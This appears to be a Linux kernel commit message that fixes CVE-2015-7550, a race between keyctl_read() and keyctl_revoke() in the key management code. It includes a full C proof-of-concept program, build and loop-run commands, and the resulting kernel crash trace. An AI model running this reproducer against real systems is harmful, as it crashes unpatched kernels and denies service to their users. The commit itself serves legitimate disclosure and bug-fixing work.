• David Howells's avatar
    KEYS: Fix race between read and revoke · 1558fc1a
    David Howells authored
    commit b4a1b4f5 upstream.
    
    This fixes CVE-2015-7550.
    
    There's a race between keyctl_read() and keyctl_revoke().  If the revoke
    happens between keyctl_read() checking the validity of a key and the key's
    semaphore being taken, then the key type read method will see a revoked key.
    
    This causes a problem for the user-defined key type because it assumes in
    its read method that there will always be a payload in a non-revoked key
    and doesn't check for a NULL pointer.
    
    Fix this by making keyctl_read() check the validity of a key after taking
    semaphore instead of before.
    
    I think the bug was introduced with the original keyrings code.
    
    This was discovered by a multithreaded test program generated by syzkaller
    (http://github.com/google/syzkaller).  Here's a cleaned up version:
    
    	#include <sys/types.h>
    	#include <keyutils.h>
    	#include <pthread.h>
    	void *thr0(void *arg)
    	{
    		key_serial_t key = (unsigned long)arg;
    		keyctl_revoke(key);
    		return 0;
    	}
    	void *thr1(void *arg)
    	{
    		key_serial_t key = (unsigned long)arg;
    		char buffer[16];
    		keyctl_read(key, buffer, 16);
    		return 0;
    	}
    	int main()
    	{
    		key_serial_t key = add_key("user", "%", "foo", 3, KEY_SPEC_USER_KEYRING);
    		pthread_t th[5];
    		pthread_create(&th[0], 0, thr0, (void *)(unsigned long)key);
    		pthread_create(&th[1], 0, thr1, (void *)(unsigned long)key);
    		pthread_create(&th[2], 0, thr0, (void *)(unsigned long)key);
    		pthread_create(&th[3], 0, thr1, (void *)(unsigned long)key);
    		pthread_join(th[0], 0);
    		pthread_join(th[1], 0);
    		pthread_join(th[2], 0);
    		pthread_join(th[3], 0);
    		return 0;
    	}
    
    Build as:
    
    	cc -o keyctl-race keyctl-race.c -lkeyutils -lpthread
    
    Run as:
    
    	while keyctl-race; do :; done
    
    as it may need several iterations to crash the kernel.  The crash can be
    summarised as:
    
    	BUG: unable to handle kernel NULL pointer dereference at 0000000000000010
    	IP: [<ffffffff81279b08>] user_read+0x56/0xa3
    	...
    	Call Trace:
    	 [<ffffffff81276aa9>] keyctl_read_key+0xb6/0xd7
    	 [<ffffffff81277815>] SyS_keyctl+0x83/0xe0
    	 [<ffffffff815dbb97>] entry_SYSCALL_64_fastpath+0x12/0x6f
    Reported-by: default avatarDmitry Vyukov <dvyukov@google.com>
    Signed-off-by: default avatarDavid Howells <dhowells@redhat.com>
    Tested-by: default avatarDmitry Vyukov <dvyukov@google.com>
    Signed-off-by: default avatarJames Morris <james.l.morris@oracle.com>
    Cc: Moritz Muehlenhoff <jmm@inutil.org>
    Signed-off-by: default avatarLuis Henriques <luis.henriques@canonical.com>
    1558fc1a
keyctl.c 40.4 KB